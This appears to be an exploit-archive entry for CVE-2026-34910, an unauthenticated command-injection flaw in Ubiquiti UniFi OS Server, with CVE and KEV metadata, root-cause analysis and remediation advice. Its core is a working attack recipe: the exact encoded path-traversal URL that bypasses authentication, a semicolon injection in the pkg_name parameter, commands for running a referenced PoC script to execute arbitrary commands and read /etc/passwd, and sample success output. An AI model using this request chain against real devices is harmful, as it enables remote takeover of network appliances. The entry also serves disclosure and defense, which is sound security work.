UniFi OS -- Unauthenticated Command Injection RCE (CVE-2026-34910)
Published: 2026-08-16 • Researcher: Boreas37
Exploitation signals
Confirmed exploited in the wild. Added to CISA KEV 2026-06-23. Federal remediation deadline 2026-06-26.
EPSS 87.0% · 100th percentile
- Severity
- Critical
- CVE
- CVE-2026-34910, CVE-2026-34909, CVE-2026-34908
- Category
- network
- Affected product
- Ubiquiti UniFi OS Server
- Affected versions
- All versions prior to Security Advisory Bulletin 064
- Disclosed
- 2026-08-16
- Patch status
- Patched
Tags
References
- https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b
- https://nvd.nist.gov/vuln/detail/CVE-2026-34910
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-34910
- https://github.com/Boreas37/CVE-2026-34910-PoC
- https://www.pwndefend.com/2026/06/09/cve-2026-34910-exploitation-itw-building-a-botnet-mirai/
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-08-16 |
| Last Updated | 2026-08-16 |
| Author / Researcher | Boreas37 |
| CVE / Advisory | CVE-2026-34910, CVE-2026-34909, CVE-2026-34908 |
| Category | network |
| Severity | Critical |
| CVSS Score | 10.0 |
| Status | Patched |
| Tags | ubiquiti, unifi, unifi-os, auth-bypass, path-traversal, command-injection, rce, unauth, kev, mirai, nginx, CVE-2026-34910 |
Affected Target
| Field | Value |
|---|---|
| Software / System | Ubiquiti UniFi OS Server |
| Versions Affected | All versions prior to Security Advisory Bulletin 064 |
| Language / Platform | Python 3 (exploit), Nuclei YAML (detection template) |
| Authentication Required | None – fully unauthenticated |
| Network Access Required | Remote – HTTPS access to UniFi OS management interface |
Summary
CVE-2026-34910 is an unauthenticated command injection vulnerability in Ubiquiti UniFi OS Server, rated CVSS 10.0 and listed in CISA KEV. The nginx auth layer treats any request whose raw URI starts with /api/auth/validate-sso/ as public, but routes by the normalized URI (decoding %2f and collapsing ../). Encoding a path traversal makes the two diverge, granting unauthenticated access to internal proxy backends. The internal package-update handler passes pkg_name unsanitized to sudo systemctl stop, enabling command injection via semicolon – unauthenticated RCE in a single request.
The same traversal primitive against /app-assets/ reads files off disk (CVE-2026-34909). The auth bypass itself is CVE-2026-34908. A Mirai-derived botnet (azsxd implant) has been observed exploiting these in the wild.
Vulnerability Details
Root Cause
The nginx reverse proxy uses the raw URI for authentication decisions but the normalized URI for routing. The /api/auth/validate-sso/ prefix is whitelisted as public. URL-encoded traversal (..%2f) bypasses the auth check while routing reaches internal /proxy/ backends.
The latest_package handler builds sudo systemctl stop <pkg_name> without sanitization, allowing semicolon-based command injection.
Attack Flow
- Auth bypass:
GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package - Command injection: Append
?pkg_name=evil;<CMD>&by_cmd=true - Execution: Command runs as
ucs-updateuser on the appliance
Impact
- Unauthenticated remote code execution in a single HTTP request
- Arbitrary file read via path traversal (CVE-2026-34909)
- Actively exploited ITW by Mirai-derived botnet
- CISA KEV listed
Environment / Lab Setup
| |
Proof of Concept
See
CVE-2026-34910.py(157 lines) andCVE-2026-34908-unifi-auth-bypass.yaml(Nuclei template) mirrored from Boreas37/CVE-2026-34910-PoC.
Step-by-Step Reproduction
- Auth bypass probe:
python3 CVE-2026-34910.py https://<target>:11443 --check - RCE:
python3 CVE-2026-34910.py https://<target>:11443 "id > /tmp/out.txt" - RCE proof:
python3 CVE-2026-34910.py https://<target>:11443 --proof - File read:
python3 CVE-2026-34910.py https://<target>:11443 --read /etc/passwd
Expected Output
$ python3 CVE-2026-34910.py https://127.0.0.1:11443 --proof
[*] HTTP 200
[*] Yanit: {"code":-3,"codeS":"CODE_SYSTEM_ERROR",...}
[+] Istek gonderildi -- komut hedefte calistirildi
-rw-r--r-- 1 ucs-update ucs-update 0 /tmp/PWNED_34910Detection and Indicators of Compromise
Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade UniFi OS per Security Advisory Bulletin 064 (SAB-064). |
| Workaround | Restrict network access to UniFi management interface. Do not expose to the internet. |
| Verification | Run –check mode. Patched versions return HTTP 400 on the traversal. |
References
Notes
Two files screened: CVE-2026-34910.py (157 lines, Python 3 stdlib only – urllib, ssl, argparse) and CVE-2026-34908-unifi-auth-bypass.yaml (Nuclei detection template). No external dependencies. All network activity directed at user-specified target only.
No obfuscation, no remote downloaders, no credential exfiltration, no callbacks. Verified by author against real UniFi OS Server 5.0.6 in Docker with completed setup wizard. RCE confirmed via file creation. Patched 5.1.21 confirmed negative.